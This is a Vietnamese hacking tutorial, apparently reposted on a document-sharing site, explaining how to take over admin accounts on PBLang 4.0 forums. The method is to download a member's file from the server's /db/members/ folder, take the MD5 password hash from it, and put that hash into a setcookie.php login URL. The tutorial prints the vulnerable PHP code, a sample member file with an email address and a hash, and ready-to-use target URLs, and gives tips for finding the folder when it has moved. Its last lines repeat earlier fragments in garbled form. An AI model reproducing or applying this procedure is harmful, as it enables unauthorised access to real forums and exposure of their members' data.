Hack PBLang forum 4.0 qua cookie

3 604 1
Hack PBLang forum 4.0 qua cookie

Đang tải... (xem toàn văn)

Thông tin tài liệu

Hack PBLang forum 4.0 qua cookie

Hack PBLang forum 4.0 qua cookietrang này đã được đọc lần Đặc điểm của PBLang:Ngôn ngữ: PHP.Tác giả: PB Dev Team & MPHH Project Team.Home Page: http://pblang.drmartinus.de/Nét đặc biệt: Không sử dụng DB.(Nên tỉ lệ thành công của việc tấn công SQL Inject là 100% . thất bại)Quản lí thành viên dựa trên cookie.Cookie nằm luôn tại server chứ không nằm ở PC của người sử dụng như cookie của các forum khác.Các công cụ cần thiết:Flash Get.IntelliTamper (có thể có hoặc không).Một bộ óc biết suy nghĩ. :-pMột tách cà phê.Sơ lược:Ở một số forum, việc lấy được cookie của Admin thì cũng chả làm được gì vì không vào được Admin Control Panel (ACP). Nhưng đối với PBLang thì cookie lại là vấn đề sống còn vì forum này không hề sử dụng DB nên tất cả các thông tin về member đều nằm tại cookie.Hãy thực hiện một ví dụ như sau:- Vào trang login.php của một forum PBLang- Đăng nhập bằng tên của Admin (giả sử là: 0Admin0) với mật khẩu bất kì.- Và tất nhiên là sai password. Ta sẽ nhận được thông báo : Invalid password!- Ok, nào bây giờ ta hãy nhìn lên thanh Address của IE xem. Ta sẽ thấy một URL có dạng sau:http://www.[target].com/PBLang/setcookie.php?u=0Admin0&p=098f6bcd4621d373cade4e832627b4f6Tớ sẽ giải thích cái này sau, nào bây giờ hãy xem tiếp một phần của file setcookie.php: .$u=$HTTP_GET_VARS['u'];$p=$HTTP_GET_VARS['p'];include("global.php");include($dbpath."/settings.php");include_once("functions.php");include_once("ffunctions.php");$username=$HTTP_COOKIE_VARS[$cookieid];if ($username=="") { $loggedin="0"; $admin="0";} else { $filename = "$dbpath/members/$username"; if (!file_exists($filename)) { $loggedin="0"; } else { include("$dbpath/members/$username"); $admin=$useradmin; $ban=$userban; } .Chính các dòng này sẽ nhận nhiệm vụ kiểm tra pass của username mà ta đăng nhập có giống với pass nằm trong cookie của username đó hay không. Ớ cái URL mà tớ nói trên, file setcookie.php đã kiểm tra password có giá trị là: 098f6bcd4621d373cade4e832627b4f6 và so sánh nó với password nằm trong cookie của username 0Admin0. Tất nhiên là sai rồi… và nhiệm vụ của chúng ta bây giờ là đi tìm password (đã mã hoá) thích hợp để thế vào cái password sai bét đó.Tìm password:Như đã nói ở trên, tất cả các thông tin của user đều nằm trong cookie, và tất nhiên trong đó có cả password (đã được mã hoá) của user đó. Như vậy chỉ cần có được cookie của một user bất kì là bạn đã có thể vào được bằng username của user đó. Theo tớ biết thì các cookie của user đều được đặt tại thư mục “/db/members/”Đã đến lúc sữ dụng Flash Get. Mở Flash Get --> chọn Jobs --> New Download --> xuất hiện cửa sổ “Add new download” --> tại mục URL: nhập vào:http://www/.[target].com/db/members/<cookie’s name>(chổ cookie’s name bạn hãy thế vào tên của user mà bạn muốn lấy cookie). Còn tất cả các mục còn lại thì giữ nguyên.Sau khi download cookie của user nào đó về, bạn hãy mở nó ra. File cookie của PBLang có dạng sau:<?php$userid="1";$password="e10adc3949ba59abbe56e057f20f883e";$username="0Admin0";$useralias="Admin";$userrealname="";$useremail="quan_vu_208cn@yahoo.com";$useremhide="";$userip="";$usersig="";$userslogan="PBLang is super!";$useravatar="none";$usermsn="";$userposts="0";$usericq="";$userqq="";$userwebavatar="";$userrank="7";$useryahoo="";$useraim=""; $userlocation="";$userjoined="1052391784";$userhomepage="http://";$useradmin="1";$usermod="0";$userban="0";$userfriend="";$userlastvisit="1053052410";$userlastpost="1052391784";$userprevvisit="1052392402";$useranimsmilies="";$lastaliaschange="1052392188";$userlang="en";$uservisits="5";?>Thật thú vị, toàn bộ thông tin của member này đã phơi bày trước mắt ta, nào là username này, tên thật này, trang chủ này, E-mail này, title này… ôi nhiều quá… nhưng cái mà ta cần nhất lại là cái này : $password="e10adc3949ba59abbe56e057f20f883e"; đây chính là password (đã mã hoá) thật sự của username này.Ta hãy trở lại với cái URL có password sai bét mà tớ đã nói đến ở lúc đầu:http://www.[target].com/PBLang/setcookie.php?u=0Admin0&p=098f6bcd4621d373cade4e832627b4f6Khi đã có được password đúng của username 0Admin0 ta hãy thế chúng vào URL trên:http://www.[target].com/PBLang/setcookie.php?u=0Admin0&p=e10adc3949ba59abbe56e057f20f883eXong, hãy nhấn nút Enter xem… “Aha tớ đã login vào với account Admin rồi… Hura!!!”Chú ý:-Tên của user nằm tại mục ”Who’s logged on” có thể không phải là username thật sự (tên mà user sử dụng để login) của user đó mà chỉ là UserAlias (nếu bạn download cookie mà sữ dụng UserAlias để làm tên của cookie cần down thì sẽ thất bại). Để biết chính xác được username thật sự của user ta hãy và profile của thành viên (hoặc Admin) để xem (username thật sự nằm tại mục ”Profile for <user name>”).-Có thể Admin của forum đó đã đổi thư mục chứa cookie nên bạn có thể dùng IntelliTamper để xem cấu trúc của web site và xác định đượv thư mục chứa cookie.-Nếu down file cookie kkhông được thì bạn hãy dùng Web Downloader để down cả trang web về ổ cứng, sau đó tìm cookie. . super!";$useravatar="none";$usermsn="";$userposts=" ;0& quot;;$usericq="";$userqq="";$userwebavatar="";$userrank="7";$useryahoo="";$useraim=""; $userlocation="";$userjoined=" 105 23917 84& quot;;$userhomepage="http://";$useradmin="1";$usermod=" ;0& quot;;$userban=" ;0& quot;;$userfriend="";$userlastvisit=" 105 305 241 0& quot;;$userlastpost=" 105 23917 84& quot;;$userprevvisit=" 105 239 2 40 2";$useranimsmilies="";$lastaliaschange=" 105 2392188";$userlang="en";$uservisits="5";?>Thật. đầu:http://www.[target].com /PBLang/ setcookie.php?u=0Admin0&p =09 8f6bcd4621d373cade4e832627b4f6Khi đã có được password đúng của username 0Admin0 ta hãy thế chúng

Ngày đăng: 02/11/2012, 14:18

Từ khóa liên quan

Tài liệu cùng người dùng

Tài liệu liên quan